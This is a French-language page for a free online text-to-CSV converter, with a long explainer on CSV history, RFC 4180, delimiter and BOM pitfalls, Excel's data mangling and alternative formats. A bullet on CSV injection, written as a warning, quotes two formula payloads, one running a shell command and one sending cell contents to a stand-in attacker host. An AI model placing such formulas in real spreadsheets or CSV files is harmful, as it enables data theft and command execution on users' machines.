Convertisseur texte → CSV, gratuit
Convertissez des données textuelles tabulaires au format CSV. Détection automatique des séparateurs, gestion des guillemets et aperçu avant téléchargement.
À propos du format CSV
Le CSV (Comma-Separated Values, valeurs séparées par des virgules) est un format texte simple pour stocker des données tabulaires. Chaque ligne représente un enregistrement, et les valeurs sont séparées par des virgules. Le CSV est largement pris en charge par les tableurs, bases de données et outils d'analyse.
Pourquoi convertir en CSV ?
- Portabilité des données · convertissez depuis n'importe quel format texte vers du CSV, facile à importer dans un tableur.
- Format universel · le CSV est pris en charge par Excel, Google Sheets, les bases de données et les outils de programmation.
- Nettoyage des données · standardisez séparateurs et mise en forme incohérents.
- API et automatisation · le CSV est idéal pour les opérations de masse et les intégrations.
- Format d'archive · conservez des données tabulaires dans un format lisible et indépendant de la plateforme.
Questions fréquentes
Quels séparateurs l'outil prend-il en charge ?
Il détecte automatiquement tabulation, espace, virgule, point-virgule et barre verticale. Vous pouvez aussi définir un séparateur personnalisé d'un seul caractère.
Comment gérer les champs qui contiennent une virgule ?
Activez l'option « Mettre entre guillemets les champs contenant une virgule » pour les entourer de guillemets, ce qui les rend conformes au CSV.
Puis-je inclure un en-tête ?
Oui, activez l'option « Inclure une ligne d'en-tête » si votre première ligne contient les noms de colonnes.
Une brève histoire du CSV, plus ancien que la spécification qui le définit
Le CSV est le format que tout le monde utilise et que personne ne possède. Sa lignée est informelle. Le premier usage documenté de la convention des valeurs séparées par des virgules remonte à 1972, lorsque le Fortran d'IBM (niveau H étendu) prenait en charge des entrées/sorties dirigées par liste où les virgules servaient de séparateurs entre les valeurs d'une ligne. Tout au long des années 1970 et 1980, chaque base de données, tableur, logiciel de statistiques et application de comptabilité qui avait besoin d'échanger des données avec un autre outil a inventé de façon indépendante une variante de « valeurs séparées par un certain caractère sur des lignes séparées par un autre caractère ». Il n'y avait pas de spécification. Il n'y avait pas d'organisme de gouvernance. Il n'y avait pas d'implémentation canonique. Il n'y avait qu'un consensus, au sens le plus lâche du terme.
Au début des années 2000, le coût du chaos est devenu impossible à ignorer. L'IETF a fini par accepter une spécification, la RFC 4180, « Common Format and MIME Type for Comma-Separated Values (CSV) Files, » publiée en octobre 2005 par Yakov Shafranovich. La RFC 4180 est courte, quelques pages à peine, et elle a codifié ce sur quoi la plupart des gens avaient déjà convergé : une virgule comme séparateur de champ, le guillemet droit comme caractère d'encadrement facultatif pour les champs contenant des virgules, des guillemets ou des sauts de ligne, les guillemets droits doublés ("") comme façon d'échapper un guillemet littéral à l'intérieur d'un champ entre guillemets, CRLF comme fin de ligne, et text/csv comme type MIME enregistré auprès de l'IANA. La spécification a aussi défini un paramètre header facultatif pour le type MIME, afin qu'un expéditeur puisse indiquer à un destinataire si la première ligne est une ligne d'en-tête.
La RFC 4180 est informative, et non une norme stricte. S'y conformer est facultatif. Mais elle nous donne une cible, ce que le CSV a de plus proche d'une définition du « correct ». Un document ultérieur, le « Model for Tabular Data and Metadata on the Web » du W3C (CSVW, 2015), a tenté d'étoffer le volet métadonnées du CSV en y joignant un fichier JSON annexe qui indique ce qu'est chaque colonne et comment l'interpréter. Le CSVW est largement cité et rarement déployé.
Le « CSV » dans la nature ne veut pas dire ce que la RFC 4180 dit qu'il veut dire
Quiconque a déjà dû recevoir un CSV d'un inconnu connaît la forme du problème. Les désaccords se répartissent selon plusieurs axes :
- Le caractère séparateur. La RFC 4180 dit la virgule. Les installations d'Excel européennes, dans les pays où la virgule est le séparateur décimal (la majeure partie de l'Europe continentale, la France, l'Allemagne, l'Italie, l'Espagne, les Pays-Bas, le Brésil), écrivent par défaut le CSV avec un point-virgule comme séparateur, car utiliser une virgule entrerait en conflit avec des valeurs numériques comme
3,14pour π. L'extension de fichier reste.csv; le type MIME restetext/csv; le contenu n'est pas ce qu'un destinataire américain ou britannique attend. - La mise entre guillemets. La RFC 4180 dit d'entourer de guillemets droits lorsqu'un champ contient le séparateur, un guillemet ou un saut de ligne ; doublez les guillemets internes (ainsi
He said "hi"devient"He said ""hi"""). En pratique, beaucoup d'auteurs mettent tout entre guillemets (paranoïaque), certains n'en mettent nulle part (et cassent dès qu'une virgule apparaît), et quelques-uns échappent avec une barre oblique inverse (\"), une convention du C qui casse les analyseurs conformes à la RFC. - Les fins de ligne. La RFC 4180 impose CRLF (
\r\n). Excel sous Windows produit du CRLF. Excel sur le Mac classique ne produisait que du CR (\r). La plupart des outils Unix et Linux produisent du LF (\n). Les trois apparaissent dans des fichiers étiquetés.csv, et cette variation casse les analyseurs qui codent en dur une seule attente. - Les sauts de ligne finaux. Certains auteurs terminent le dernier enregistrement par un saut de ligne ; d'autres non. Les analyseurs qui comptent les enregistrements en comptant les sauts de ligne signalent des erreurs de décalage d'une unité selon l'entrée.
- Les en-têtes. Les fichiers dans la nature se répartissent à peu près moitié-moitié. Le type MIME autorise un paramètre
header=present, mais personne n'envoie d'en-têtes MIME lorsqu'on vous envoie un CSV par courriel, donc vous devez deviner.
Le piège du BOM
Cela mérite sa propre section, car c'est de loin la source la plus fréquente de douleurs CSV multiplateformes. Microsoft Excel ne détecte pas automatiquement un CSV encodé en UTF-8 à moins que le fichier ne commence par une marque d'ordre des octets (BOM) UTF-8 : les trois octets EF BB BF, qui encodent le caractère Unicode U+FEFF. Sans le BOM, Excel ouvre le fichier dans la page de code héritée de la locale Windows de l'utilisateur (Windows-1252 en Occident, Shift_JIS au Japon, GBK en Chine continentale). Tout caractère non ASCII (lettres accentuées, symboles monétaires, emoji, caractères CJC) est corrompu.
Le correctif consiste à ajouter le BOM en tête. Le revers, c'est que tout le reste s'y étrangle. Apple Numbers (jusqu'aux versions récentes) affiche le BOM comme un caractère littéral dans la première cellule. Beaucoup d'outils en ligne de commande (awk, cut, sed plus anciens) traitent le BOM comme une partie du premier champ, de sorte qu'un en-tête censé afficher name affiche name. La plupart des analyseurs CSV en JavaScript le suppriment ; beaucoup d'anciens flux fondés sur le module csv de Python ne le font pas (vous devez ouvrir le fichier avec le codec utf-8-sig). Comme un outil en ligne gratuit ne peut pas savoir où l'utilisateur ouvrira le fichier, omettre le BOM et préciser que les utilisateurs d'Excel devraient passer par Données → À partir d'un fichier texte/CSV (qui laisse toujours l'utilisateur choisir explicitement l'UTF-8) est un choix par défaut raisonnable.
Excel propose au moins quatre formats « CSV »
La boîte de dialogue « Enregistrer sous » d'Excel propose plus d'une variante de CSV, et les différences comptent :
- CSV (délimité par des virgules) (*.csv) : utilise le séparateur de liste de la locale de l'utilisateur (virgule en en-US/en-GB, point-virgule en fr-FR/de-DE/es-ES/it-IT/pt-BR). L'encodage est la page de code ANSI héritée. Pas de BOM. Fins de ligne CRLF.
- CSV UTF-8 (délimité par des virgules) (*.csv) : même comportement de séparateur que ci-dessus (toujours dicté par la locale, malgré le nom) mais encodé en UTF-8 avec un BOM. Introduit dans Excel 2016.
- CSV (Macintosh) (*.csv) : séparé par des virgules, encodage MacRoman, fins de ligne du Mac classique (CR uniquement). Largement obsolète, mais apparaît encore.
- CSV (MS-DOS) (*.csv) : séparé par des virgules, page de code OEM (CP437 en en-US, CP850 en Europe occidentale), CRLF.
L'étiquette présentée à l'utilisateur dit « CSV » de quatre façons différentes. Le contenu réel du fichier est matériellement différent. C'est la réalité pratique dans laquelle opère le convertisseur.
Pourquoi convertir du texte → CSV, en particulier
La plupart des « outils CSV » en ligne fonctionnent dans le sens inverse : prendre un CSV, produire autre chose (du JSON, un tableau HTML, un INSERT SQL, un PDF imprimable). Celui-ci fait l'inverse : prendre du texte en désordre et produire un CSV propre. C'est le cas d'usage pour :
- Nettoyer une liste de courriels en lignes de tableur. Un opérateur de CRM copie 800 adresses de courriel depuis un champ Cci vers un bloc-notes. Chaque adresse doit figurer sur sa propre ligne dans un tableur, en vue d'un import dans un outil de publipostage. Coller, ajouter un en-tête, télécharger.
- Convertir un tableau copié depuis un PDF. Les tableaux de PDF, une fois copiés, arrivent souvent sous forme de texte où les colonnes sont séparées par des suites d'espaces (ou de tabulations, selon le générateur de PDF). Un délimiteur flexible (y compris les « espaces consécutifs ») transforme cela en une grille propre.
- Restructurer des sorties générées par l'IA. Les grands modèles de langage adorent produire des tableaux Markdown. Un utilisateur peut coller un tableau Markdown ; le convertisseur détecte les délimiteurs en barre verticale et la ligne de séparation en tirets ; la sortie est un vrai CSV.
- Importer des journaux dans Excel ou Google Sheets. Le format de journal combiné d'Apache, les enregistrements syslog et de nombreux journaux d'application sont orientés ligne, mais pas nativement adaptés au tableur. Convertir en CSV, ouvrir dans un tableur, trier, filtrer, créer un tableau croisé dynamique.
- Préparer des données pour les instructions
COPYde base de données. La commandeCOPY ... FROM STDIN WITH (FORMAT csv)de PostgreSQL lit directement le CSV. Un utilisateur ayant une liste dans un fichier texte peut la coller, la convertir et faire un\copydans une table sans écrire de script de chargement. - Construire du CSV à la main pour des opérations par lots. Stripe, Mailchimp, Shopify et la plupart des plateformes SaaS proposent un import CSV pour les opérations en masse. Un utilisateur qui doit mettre à jour 30 prix de produits construit manuellement les lignes ; l'outil transforme sa liste saisie en le CSV exact que la plateforme attend.
Excel réécrira vos données, parfois en silence
Une poignée de pièges du CSV mordent même les utilisateurs prudents :
- Les zéros en tête disparaissent. Un code postal américain
01234s'ouvre comme1234. Un poste téléphonique0049s'ouvre comme49. Un code produit00ABCs'ouvre commeABCsi Excel décide en cours de route que la colonne est du texte. La seule défense fiable consiste soit à ajouter une apostrophe en tête (astuce d'affichage), soit à préformater la colonne en texte, soit à utiliser le chemin d'import Données → À partir d'un fichier texte/CSV d'Excel, qui vous permet de verrouiller les types de colonnes. - Conversion automatique en notation scientifique. Une longue chaîne numérique comme
0123456789012devient1.23457E+11lorsqu'Excel décide que c'est un nombre. Les caractères d'origine ont disparu. Cela a corrompu les jeux de données de noms de gènes de façon si notoire que le HUGO Gene Nomenclature Committee a renommé plusieurs gènes en 2020 spécifiquement pour échapper à la conversion d'Excel : des symboles de gènes comme MARCH1, SEPT2 et OCT4 se transformaient en dates. - Détection automatique des dates. Une colonne contenant des signatures rythmiques musicales
3/4,4/4,6/8,7/8devient des dates : 3 avril, 4 avril, 6 août, 7 août. De même pour des numéros de série comme1-1et des heures comme1:30. - Interprétation hexadécimale.
0x1Aet0E5sont deux représentations numériques valides reconnues par Excel. Une colonne d'adresses de registres ou de codes de composés chimiques peut muter en silence. - L'attaque par injection CSV. Un champ commençant par
=,+,-,@, ou une tabulation/un CR est interprété par Excel et Google Sheets comme une formule. Une valeur malveillante comme=cmd|'/c calc'!A0ou=HYPERLINK("https://evil.example/?d="&A1, "Click")peut exfiltrer le contenu de cellules voisines ou exécuter des commandes shell selon les réglages du client de tableur. Tout outil qui produit du CSV à partir de texte soumis par l'utilisateur devrait envisager d'échapper les caractères de formule en tête. - Les champs entre guillemets contenant des sauts de ligne. Un champ comme
"Hello,\nworld"avec un saut de ligne littéral à l'intérieur des guillemets est un seul champ s'étalant sur deux lignes sur le disque. Les analyseurs qui découpent d'abord sur les sauts de ligne puis sur les virgules corrompront les données en silence. L'analyse correcte d'un CSV est une machine à états, et non deux passages deString.split.
La place de cet outil parmi les alternatives modernes au CSV
Le CSV survit parce que c'est du texte et que les humains peuvent le lire. Pour l'échange de données sérieux, plusieurs formats l'ont supplanté sur des dimensions précises :
- Apache Parquet. Un format binaire en colonnes. Les fichiers sont typés, compressés et orientés colonne (de sorte que
SELECT col1 FROM big_file.parquetne lit que cette colonne depuis le disque). Format par défaut pour les charges de travail analytiques : Snowflake, BigQuery, Databricks et Athena le lisent nativement. Le candidat le plus solide à la question « que devriez-vous utiliser à la place du CSV quand vous contrôlez les deux bouts ». Binaire, donc il ne répond pas au cas d'usage « je peux lire ceci dans un éditeur de texte ». - JSON Lines (JSONL / NDJSON). Un objet JSON par ligne. Combine la capacité de diffusion en flux du CSV avec la structure typée et imbriquée de JSON. Largement utilisé pour l'ingestion de journaux, les jeux de données d'apprentissage automatique et les flux d'événements. Compromis : plus verbeux que le CSV (chaque enregistrement répète chaque clé).
- Apache Arrow IPC (Feather v2). Un format binaire, en mémoire et sur le réseau, pour les données tabulaires, conçu pour un échange sans copie entre processus et langages. Très utilisé au sein des chaînes d'outils de science des données (pandas, le paquet arrow de R, Polars, DuckDB).
- Avro et ORC. Des formats binaires, porteurs de schéma, issus de l'écosystème Hadoop. Moins courants en dehors de l'ingénierie des données.
Pour un convertisseur en ligne gratuit destiné aux développeurs et aux employés de bureau, le CSV reste le bon format de sortie, car c'est la lingua franca de l'import de données partout. Des alternatives modernes existent ; elles n'ont pas détrôné le CSV dans la boîte de réception.
Plus de questions
Dois-je ajouter un BOM UTF-8 à la sortie ?
Si le fichier est destiné à un double-clic dans Excel sous Windows, oui : sans le BOM, Excel l'ouvre dans la page de code héritée et corrompt le texte non ASCII. S'il est destiné à autre chose (Apple Numbers, scripts en ligne de commande, formulaires de téléversement web), omettez le BOM. La voie la plus sûre est d'omettre le BOM et d'indiquer aux utilisateurs d'Excel d'importer via Données → À partir d'un fichier texte/CSV, où ils peuvent choisir explicitement l'UTF-8.
Mon CSV s'ouvre avec une seule cellule par ligne dans Excel, qu'est-ce qui a mal tourné ?
Presque toujours une incompatibilité de séparateur. Vous êtes dans une locale où Excel attend des points-virgules (la majeure partie de l'Europe continentale), mais le fichier utilise des virgules, ou inversement. Ouvrez avec Données → À partir d'un fichier texte/CSV au lieu de double-cliquer ; cet assistant vous laisse choisir explicitement le délimiteur. Ou enregistrez le fichier depuis le menu Enregistrer sous d'Excel en utilisant la variante qui correspond à votre séparateur local.
Quelle est la différence entre le TSV et le CSV ?
Le TSV utilise des caractères de tabulation comme séparateur au lieu des virgules, avec son propre type MIME text/tab-separated-values et un enregistrement à l'IANA. L'avantage du TSV est que les données du monde réel contiennent rarement des tabulations littérales, de sorte que la mise entre guillemets n'est presque jamais nécessaire ; l'inconvénient est que les tabulations sont invisibles dans les éditeurs de texte et que le comportement du copier-coller varie. La machinerie de mise entre guillemets du CSV le rend sûr pour les champs qui contiennent le délimiteur ; le TSV évite surtout le problème entièrement.
Existe-t-il un validateur CSV que je peux exécuter avant de partager mon fichier ?
Oui : pour un usage en ligne de commande, le csvclean de csvkit signale les lignes ayant un nombre incorrect de colonnes. Le CLI frictionless de Frictionless Data valide par rapport à un schéma facultatif. Pour un travail dans le navigateur, PapaParse signale les erreurs d'analyse ligne par ligne. La validation stricte par rapport à la RFC 4180 (fins de ligne CRLF, échappement par doublement des guillemets) est rare en pratique ; la plupart des analyseurs acceptent n'importe laquelle des variantes courantes.